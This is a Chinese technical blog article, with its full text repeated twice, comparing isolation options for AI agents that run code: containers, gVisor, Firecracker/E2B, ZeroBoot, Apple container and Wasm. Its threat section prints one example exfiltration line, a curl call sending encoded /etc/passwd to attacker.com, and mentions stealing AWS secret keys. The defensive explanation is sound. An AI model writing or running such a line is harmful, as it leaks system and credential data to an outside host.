TL;DRAI Agent 执行代码需要隔离但隔离意味着开销。本文拆解容器、gVisor、Firecracker、ZeroBoot、Apple container、Wasm 六种沙箱方案的原理与取舍帮你找到匹配自己场景的选型。一、开篇0.79ms 启动一个 Linux VM就在前几天Hacker News 首页出现了一个项目ZeroBoot。它宣称能在0.79msp50内启动一个完整的 Linux 虚拟机。评论区炸了——这怎么可能Firecracker 这样专为 serverless 设计的 microVM冷启动也要 150ms 以上。0.79ms 意味着什么意味着 1 秒内可以冷启动1000 个相互隔离的 VM。这不是魔法是工程上的巧劲——Copy-on-Write KVM fork。这么厉害这把 AI Agent 沙箱的核心矛盾摆上了桌面Agent 执行代码需要隔离隔离意味着开销。ZeroBoot 给出了一个极端的答案。本文从这里出发与我一起满足好奇心拆解五种主流沙箱方案的原理与取舍。如果表述有任何问题欢迎提出。二、为什么 Agent 执行代码需要沙箱工具调用 vs 代码执行传统 Agent 调用工具——搜索、查数据库、发邮件——行为可枚举、可审计。代码执行不同它是图灵完备的一旦 Agent 能执行任意代码它能做的事就和一个程序员坐在终端前能做的事完全一样。一个看起来无害的任务 帮我分析这份 CSVAgent 生成的代码里可能藏着import os os.system(curl https://attacker.com/$(cat /etc/passwd | base64))三类核心威胁提示注入逃逸恶意内容诱使 Agent 执行攻击者代码读取密钥或发起外联资源滥用无限循环、fork bomb、写满磁盘——可以拖垮整台宿主机横向渗透读取$AWS_SECRET_ACCESS_KEY、访问同机其他用户数据这正是 Manus、Perplexity 等选择 microVM 而非容器的原因——威胁模型不同对隔离代价的接受度也不同。三、从轻到重五种沙箱方案对比在深入每种方案之前先建立一个整体框架。沙箱隔离是一个连续的梯度——从轻到重隔离强度与资源开销同步增长核心指标对比方案隔离机制启动延迟内存/sandbox典型用户容器Dockernamespace cgroup~500ms几十 MBPatchPal、本地开发gVisor用户态 Linux 内核~100ms较高Google Cloud RunFirecracker/E2B独立内核 microVM~150ms默认 1GB可配 512MB-8GBManus、PerplexityZeroBootCoW KVM fork0.79ms265KB高并发场景Apple containerper-container VM秒级较高macOS 本地开发WasmEdge.jsWasm 线性内存模型毫秒级极低JS/Node Agent不是越新越好是越匹配越好。威胁等级、性能要求、平台约束三个维度共同决定选型。后文逐一拆解每种方案。四、容器方案PatchPal 的实现PatchPal 是什么PatchPal 是一个可本地部署的 AI 代码修复 Agent支持 OpenAI、Anthropic、本地 Ollama 等多种模型后端用 Docker 或 Podman 容器隔离代码执行环境。核心设计PatchPal 的沙箱逻辑集中在sandbox.py工作流如下几个关键决策无状态--rm执行后立即销毁容器不留任何状态网络隔离默认--network none提供--host-network供本地 Ollama 使用工作目录挂载当前目录挂载为/workspace不可访问宿主机其他路径环境变量白名单只透传PATCHPAL_*、OPENAI_*、ANTHROPIC_*前缀防止泄露宿主机敏感配置容器方案的本质局限容器隔离的是视图不是内核本身。所有容器共享宿主机的同一个 Linux 内核namespace 把进程的文件系统、网络、PID 视图隔开但内核本身是共享的。历史上出现过多个内核漏洞可以从容器逃逸到宿主机如 CVE-2019-5736 runc 逃逸。对低威胁场景容器方案足够用且足够简单。但对多租户、公网暴露的 Agent 服务共享内核是一个根本性的风险。五、微 VMFirecracker E2BFirecracker 的设计哲学Firecracker 是 AWS 为 Lambda 和 Fargate 设计的 microVM核心原则只有一个最小攻击面。传统虚拟机QEMU模拟完整硬件——USB 控制器、PCI 总线、声卡、显卡……每一个模拟设备都是潜在的攻击面。Firecracker 做了激进的裁剪只保留运行 Linux 容器所必需的设备FirecrackerQEMU代码量~10 万行~200 万行虚拟设备仅 6 个virtio-net/blk/balloon/vsock 串口 键盘控制器完整硬件模拟启动时间125ms秒级每 VM 内存开销~5MB较高更重要的是每个 microVM 有独立的 Linux 内核。两个 sandbox 之间不共享任何内核代码路径从根本上消除了内核漏洞横向传播的可能。E2B 的架构E2B 在 Firecracker 之上构建了完整的 AI 沙箱云服务被 Manus、Perplexity 等用于生产环境启动速度的关键在于预热快照提前启动一批 VM 到就绪状态并做内存快照新请求到来时直接从快照恢复而不是从零启动内核。这将冷启动时间压到 ~150ms。Manus 的架构中每个 Agent 任务拥有一个完整的 E2B sandbox 虚拟机内含 Chromium 浏览器、终端、文件系统等 27 种工具——一个 sandbox 就是一台完整的虚拟电脑。microVM 的代价更强的隔离意味着更高的开销。每个 Firecracker VM 需要独立的内核镜像和内存空间E2B 默认分配 1GB RAM/sandbox在高并发下是一笔不小的成本。这也是 ZeroBoot 试图解决的问题。六、ZeroBootCoW 黑魔法解析Copy-on-Write为什么比快照快E2B 的预热快照把启动时间压到 ~150ms瓶颈仍在内存复制恢复一个 VM 需要把快照数据写入新地址空间256MB 的镜像复制本身就需要时间。ZeroBoot 的洞察是这次复制大部分是多余的。Python 解释器、numpy 代码段、标准库——这些在所有 sandbox 之间完全相同。ZeroBoot 用mmap(MAP_PRIVATE)解决读操作直接访问原始快照页零拷贝写操作才触发 CoW 分配新页。结果是 sandbox 启动时几乎不需要任何内存复制。把这个机制搬到 KVM VM 上就是 ZeroBoot 的核心Fork Engine 的五步流程ZeroBoot 的 fork 引擎src/vmm/kvm.rs每次创建新 sandbox 执行五步第④步的顺序严格不可乱——XSAVE扩展处理器状态含浮点/SIMD 寄存器必须在基础寄存器之前恢复否则状态会被覆盖最后的MP_STATE必须设为 RUNNABLE否则 vCPU 会卡在 HLT 状态VM 无法启动。性能数据指标ZeroBootE2BDaytonaSpawn p500.79ms~150ms~27msSpawn p991.74ms~300ms~90ms内存/sandbox~265KB~128MB~50MB1000 并发 fork815ms——代价与现状内存放大265KB 是 CoW 触发前的数字是共享快照页的成本。sandbox 写入越多实际物理内存越接近完整 VM~256MB。写密集型负载下内存优势会显著缩小。平台限制依赖 KVM仅支持 Linux且需要裸金属或支持嵌套虚拟化的云实例。项目状态Working prototypebenchmarks 是真实的但官方明确标注 未 production-hardened。七、Apple container容器与虚拟机之间的第三形态一个有趣的命名悖论Apple container 是个有趣的存在——名字叫 container底层是 VM。它基于 macOS 的Virtualization.framework每个容器运行在独立的 Linux 虚拟机中。但它完全兼容 OCI 镜像规范docker pull的镜像直接可用命令风格也与 Docker CLI 一致。这是一种刻意的设计取舍用 VM 级别的隔离强度提供容器级别的使用体验。与 Docker Desktop 的本质差异20 个容器在 Docker Desktop 里是 1 个 VM 20 个进程在 Apple container 里是 20 个独立 VM。隔离粒度从容器级提升到了 VM 级。与 Kata Containers 的对比走 VM per container 路线的不止 Apple containerKata Containers 更早提出了这个思路。两者定位截然不同Kata ContainersApple container目标场景云原生多租户macOS 本地开发虚拟化后端QEMU / Firecracker / Cloud-Hypervisor 等 5 种Virtualization.framework平台Linux任何硬件macOS onlyApple SiliconRosetta 2 支持无可直接运行 x86 镜像对 Agent 沙箱的意义Mac 开发者在本地跑 Agent 时Apple container 提供了一个有吸引力的选择比 Docker Desktop 隔离更强免费官方维护且无需任何第三方虚拟化工具。代价同样明显每个 VM 独占内存且释放不完整受限于 Virtualization.framework 的内存回收机制截至最新版本仍未彻底解决项目仍在 v0.x稳定性存疑。关于 Apple container 的架构细节可以参考我之前的系列文章苹果发布 Containerization Framework / 开箱实践 / 架构解析 / 七个月演进之路八、Wasm 路径不需要 OS 的沙箱如果 Agent 只需要执行 JavaScript 或 TypeScript有一条更轻量的路——跑在 WebAssembly sandbox 里完全不依赖容器或虚拟机。Edge.jsWasmer采用了一种混合架构JS 引擎V8/JSC/QuickJS原生运行以保证性能而操作系统调用和原生模块则通过 WASIXWasm POSIX 扩展沙箱化隔离。在--safe模式下所有系统调用都经过 WASIX 层显式授权——早期曾有项目尝试把整个 Node.js含 V8编译到 Wasm但 V8 在 Wasm 解释器模式下性能损失过大Edge.js 明确放弃了这条路线。隔离机制来自 Wasm 本身的内存模型Wasm 程序运行在一块线性内存里无法直接访问这块内存之外的任何地址。沙箱边界由语言规范本身保证不需要 namespace不需要 hypervisor。实际效果启动时间毫秒级内存开销极低完全兼容 Node.js 语义现有 JS Agent 和 MCP Server 可以直接迁移无需安装 Docker 或任何虚拟化工具局限也很明显仅适合 JS/TS 工作负载IO 密集型场景有性能折扣Python、Go 等语言目前没有对等方案。九、怎么选没有万能答案。三个维度决定选型平台约束先排除需要执行代码 ├── 只有 JS/TS → Wasm/Edge.js最轻量无需任何虚拟化 ├── macOS 本地开发 → Apple container原生免费VM 级隔离 └── Linux 服务器 → 往下看威胁等级 × 性能需求确定在 Linux 上运行后威胁等级和并发需求共同决定方案低并发高并发低威胁内部工具、可信用户Docker 容器Docker 容器 资源限制中威胁多租户、不可信输入Firecracker/E2BFirecracker/E2B 预热池高威胁 极高并发Firecracker/E2BZeroBoot前沿未 production-ready一个实用的判断标准问自己一个问题如果这个 sandbox 被攻破最坏的结果是什么影响仅限于这个任务本身 → 容器够用可能影响同机其他用户数据 → 需要 microVM公网暴露攻击者有充分动机 → microVM且要认真评估 ZeroBoot 的成熟度十、结语从 Docker 容器到 Firecracker microVM再到 ZeroBoot 的 CoW fork——每一步演进都是对同一个矛盾的不同回答如何在隔离强度与启动开销之间找到新的平衡点。ZeroBoot 的 0.79ms 是一个值得关注的信号。当 VM 启动延迟被压到这个量级microVM 与容器在 启动开销 这个维度上的差距几乎消失剩下的只有隔离强度的差异——而 microVM 在这一点上有碾压性的优势。如果 ZeroBoot 的方向得到验证并走向成熟 用容器换性能、用 VM 换安全 这个长期以来的取舍可能会被重写。但更根本的变化是AI Agent 大规模执行代码这件事正在把沙箱从 开发工具 变成 基础设施问题 。选错隔离方案的代价不再是性能损耗而是安全事故。这个领域的技术演进远没有停止。
AI Agent 的代码执行沙箱:从容器到微虚拟机的隔离之道
发布时间:2026/6/18 13:22:46
TL;DRAI Agent 执行代码需要隔离但隔离意味着开销。本文拆解容器、gVisor、Firecracker、ZeroBoot、Apple container、Wasm 六种沙箱方案的原理与取舍帮你找到匹配自己场景的选型。一、开篇0.79ms 启动一个 Linux VM就在前几天Hacker News 首页出现了一个项目ZeroBoot。它宣称能在0.79msp50内启动一个完整的 Linux 虚拟机。评论区炸了——这怎么可能Firecracker 这样专为 serverless 设计的 microVM冷启动也要 150ms 以上。0.79ms 意味着什么意味着 1 秒内可以冷启动1000 个相互隔离的 VM。这不是魔法是工程上的巧劲——Copy-on-Write KVM fork。这么厉害这把 AI Agent 沙箱的核心矛盾摆上了桌面Agent 执行代码需要隔离隔离意味着开销。ZeroBoot 给出了一个极端的答案。本文从这里出发与我一起满足好奇心拆解五种主流沙箱方案的原理与取舍。如果表述有任何问题欢迎提出。二、为什么 Agent 执行代码需要沙箱工具调用 vs 代码执行传统 Agent 调用工具——搜索、查数据库、发邮件——行为可枚举、可审计。代码执行不同它是图灵完备的一旦 Agent 能执行任意代码它能做的事就和一个程序员坐在终端前能做的事完全一样。一个看起来无害的任务 帮我分析这份 CSVAgent 生成的代码里可能藏着import os os.system(curl https://attacker.com/$(cat /etc/passwd | base64))三类核心威胁提示注入逃逸恶意内容诱使 Agent 执行攻击者代码读取密钥或发起外联资源滥用无限循环、fork bomb、写满磁盘——可以拖垮整台宿主机横向渗透读取$AWS_SECRET_ACCESS_KEY、访问同机其他用户数据这正是 Manus、Perplexity 等选择 microVM 而非容器的原因——威胁模型不同对隔离代价的接受度也不同。三、从轻到重五种沙箱方案对比在深入每种方案之前先建立一个整体框架。沙箱隔离是一个连续的梯度——从轻到重隔离强度与资源开销同步增长核心指标对比方案隔离机制启动延迟内存/sandbox典型用户容器Dockernamespace cgroup~500ms几十 MBPatchPal、本地开发gVisor用户态 Linux 内核~100ms较高Google Cloud RunFirecracker/E2B独立内核 microVM~150ms默认 1GB可配 512MB-8GBManus、PerplexityZeroBootCoW KVM fork0.79ms265KB高并发场景Apple containerper-container VM秒级较高macOS 本地开发WasmEdge.jsWasm 线性内存模型毫秒级极低JS/Node Agent不是越新越好是越匹配越好。威胁等级、性能要求、平台约束三个维度共同决定选型。后文逐一拆解每种方案。四、容器方案PatchPal 的实现PatchPal 是什么PatchPal 是一个可本地部署的 AI 代码修复 Agent支持 OpenAI、Anthropic、本地 Ollama 等多种模型后端用 Docker 或 Podman 容器隔离代码执行环境。核心设计PatchPal 的沙箱逻辑集中在sandbox.py工作流如下几个关键决策无状态--rm执行后立即销毁容器不留任何状态网络隔离默认--network none提供--host-network供本地 Ollama 使用工作目录挂载当前目录挂载为/workspace不可访问宿主机其他路径环境变量白名单只透传PATCHPAL_*、OPENAI_*、ANTHROPIC_*前缀防止泄露宿主机敏感配置容器方案的本质局限容器隔离的是视图不是内核本身。所有容器共享宿主机的同一个 Linux 内核namespace 把进程的文件系统、网络、PID 视图隔开但内核本身是共享的。历史上出现过多个内核漏洞可以从容器逃逸到宿主机如 CVE-2019-5736 runc 逃逸。对低威胁场景容器方案足够用且足够简单。但对多租户、公网暴露的 Agent 服务共享内核是一个根本性的风险。五、微 VMFirecracker E2BFirecracker 的设计哲学Firecracker 是 AWS 为 Lambda 和 Fargate 设计的 microVM核心原则只有一个最小攻击面。传统虚拟机QEMU模拟完整硬件——USB 控制器、PCI 总线、声卡、显卡……每一个模拟设备都是潜在的攻击面。Firecracker 做了激进的裁剪只保留运行 Linux 容器所必需的设备FirecrackerQEMU代码量~10 万行~200 万行虚拟设备仅 6 个virtio-net/blk/balloon/vsock 串口 键盘控制器完整硬件模拟启动时间125ms秒级每 VM 内存开销~5MB较高更重要的是每个 microVM 有独立的 Linux 内核。两个 sandbox 之间不共享任何内核代码路径从根本上消除了内核漏洞横向传播的可能。E2B 的架构E2B 在 Firecracker 之上构建了完整的 AI 沙箱云服务被 Manus、Perplexity 等用于生产环境启动速度的关键在于预热快照提前启动一批 VM 到就绪状态并做内存快照新请求到来时直接从快照恢复而不是从零启动内核。这将冷启动时间压到 ~150ms。Manus 的架构中每个 Agent 任务拥有一个完整的 E2B sandbox 虚拟机内含 Chromium 浏览器、终端、文件系统等 27 种工具——一个 sandbox 就是一台完整的虚拟电脑。microVM 的代价更强的隔离意味着更高的开销。每个 Firecracker VM 需要独立的内核镜像和内存空间E2B 默认分配 1GB RAM/sandbox在高并发下是一笔不小的成本。这也是 ZeroBoot 试图解决的问题。六、ZeroBootCoW 黑魔法解析Copy-on-Write为什么比快照快E2B 的预热快照把启动时间压到 ~150ms瓶颈仍在内存复制恢复一个 VM 需要把快照数据写入新地址空间256MB 的镜像复制本身就需要时间。ZeroBoot 的洞察是这次复制大部分是多余的。Python 解释器、numpy 代码段、标准库——这些在所有 sandbox 之间完全相同。ZeroBoot 用mmap(MAP_PRIVATE)解决读操作直接访问原始快照页零拷贝写操作才触发 CoW 分配新页。结果是 sandbox 启动时几乎不需要任何内存复制。把这个机制搬到 KVM VM 上就是 ZeroBoot 的核心Fork Engine 的五步流程ZeroBoot 的 fork 引擎src/vmm/kvm.rs每次创建新 sandbox 执行五步第④步的顺序严格不可乱——XSAVE扩展处理器状态含浮点/SIMD 寄存器必须在基础寄存器之前恢复否则状态会被覆盖最后的MP_STATE必须设为 RUNNABLE否则 vCPU 会卡在 HLT 状态VM 无法启动。性能数据指标ZeroBootE2BDaytonaSpawn p500.79ms~150ms~27msSpawn p991.74ms~300ms~90ms内存/sandbox~265KB~128MB~50MB1000 并发 fork815ms——代价与现状内存放大265KB 是 CoW 触发前的数字是共享快照页的成本。sandbox 写入越多实际物理内存越接近完整 VM~256MB。写密集型负载下内存优势会显著缩小。平台限制依赖 KVM仅支持 Linux且需要裸金属或支持嵌套虚拟化的云实例。项目状态Working prototypebenchmarks 是真实的但官方明确标注 未 production-hardened。七、Apple container容器与虚拟机之间的第三形态一个有趣的命名悖论Apple container 是个有趣的存在——名字叫 container底层是 VM。它基于 macOS 的Virtualization.framework每个容器运行在独立的 Linux 虚拟机中。但它完全兼容 OCI 镜像规范docker pull的镜像直接可用命令风格也与 Docker CLI 一致。这是一种刻意的设计取舍用 VM 级别的隔离强度提供容器级别的使用体验。与 Docker Desktop 的本质差异20 个容器在 Docker Desktop 里是 1 个 VM 20 个进程在 Apple container 里是 20 个独立 VM。隔离粒度从容器级提升到了 VM 级。与 Kata Containers 的对比走 VM per container 路线的不止 Apple containerKata Containers 更早提出了这个思路。两者定位截然不同Kata ContainersApple container目标场景云原生多租户macOS 本地开发虚拟化后端QEMU / Firecracker / Cloud-Hypervisor 等 5 种Virtualization.framework平台Linux任何硬件macOS onlyApple SiliconRosetta 2 支持无可直接运行 x86 镜像对 Agent 沙箱的意义Mac 开发者在本地跑 Agent 时Apple container 提供了一个有吸引力的选择比 Docker Desktop 隔离更强免费官方维护且无需任何第三方虚拟化工具。代价同样明显每个 VM 独占内存且释放不完整受限于 Virtualization.framework 的内存回收机制截至最新版本仍未彻底解决项目仍在 v0.x稳定性存疑。关于 Apple container 的架构细节可以参考我之前的系列文章苹果发布 Containerization Framework / 开箱实践 / 架构解析 / 七个月演进之路八、Wasm 路径不需要 OS 的沙箱如果 Agent 只需要执行 JavaScript 或 TypeScript有一条更轻量的路——跑在 WebAssembly sandbox 里完全不依赖容器或虚拟机。Edge.jsWasmer采用了一种混合架构JS 引擎V8/JSC/QuickJS原生运行以保证性能而操作系统调用和原生模块则通过 WASIXWasm POSIX 扩展沙箱化隔离。在--safe模式下所有系统调用都经过 WASIX 层显式授权——早期曾有项目尝试把整个 Node.js含 V8编译到 Wasm但 V8 在 Wasm 解释器模式下性能损失过大Edge.js 明确放弃了这条路线。隔离机制来自 Wasm 本身的内存模型Wasm 程序运行在一块线性内存里无法直接访问这块内存之外的任何地址。沙箱边界由语言规范本身保证不需要 namespace不需要 hypervisor。实际效果启动时间毫秒级内存开销极低完全兼容 Node.js 语义现有 JS Agent 和 MCP Server 可以直接迁移无需安装 Docker 或任何虚拟化工具局限也很明显仅适合 JS/TS 工作负载IO 密集型场景有性能折扣Python、Go 等语言目前没有对等方案。九、怎么选没有万能答案。三个维度决定选型平台约束先排除需要执行代码 ├── 只有 JS/TS → Wasm/Edge.js最轻量无需任何虚拟化 ├── macOS 本地开发 → Apple container原生免费VM 级隔离 └── Linux 服务器 → 往下看威胁等级 × 性能需求确定在 Linux 上运行后威胁等级和并发需求共同决定方案低并发高并发低威胁内部工具、可信用户Docker 容器Docker 容器 资源限制中威胁多租户、不可信输入Firecracker/E2BFirecracker/E2B 预热池高威胁 极高并发Firecracker/E2BZeroBoot前沿未 production-ready一个实用的判断标准问自己一个问题如果这个 sandbox 被攻破最坏的结果是什么影响仅限于这个任务本身 → 容器够用可能影响同机其他用户数据 → 需要 microVM公网暴露攻击者有充分动机 → microVM且要认真评估 ZeroBoot 的成熟度十、结语从 Docker 容器到 Firecracker microVM再到 ZeroBoot 的 CoW fork——每一步演进都是对同一个矛盾的不同回答如何在隔离强度与启动开销之间找到新的平衡点。ZeroBoot 的 0.79ms 是一个值得关注的信号。当 VM 启动延迟被压到这个量级microVM 与容器在 启动开销 这个维度上的差距几乎消失剩下的只有隔离强度的差异——而 microVM 在这一点上有碾压性的优势。如果 ZeroBoot 的方向得到验证并走向成熟 用容器换性能、用 VM 换安全 这个长期以来的取舍可能会被重写。但更根本的变化是AI Agent 大规模执行代码这件事正在把沙箱从 开发工具 变成 基础设施问题 。选错隔离方案的代价不再是性能损耗而是安全事故。这个领域的技术演进远没有停止。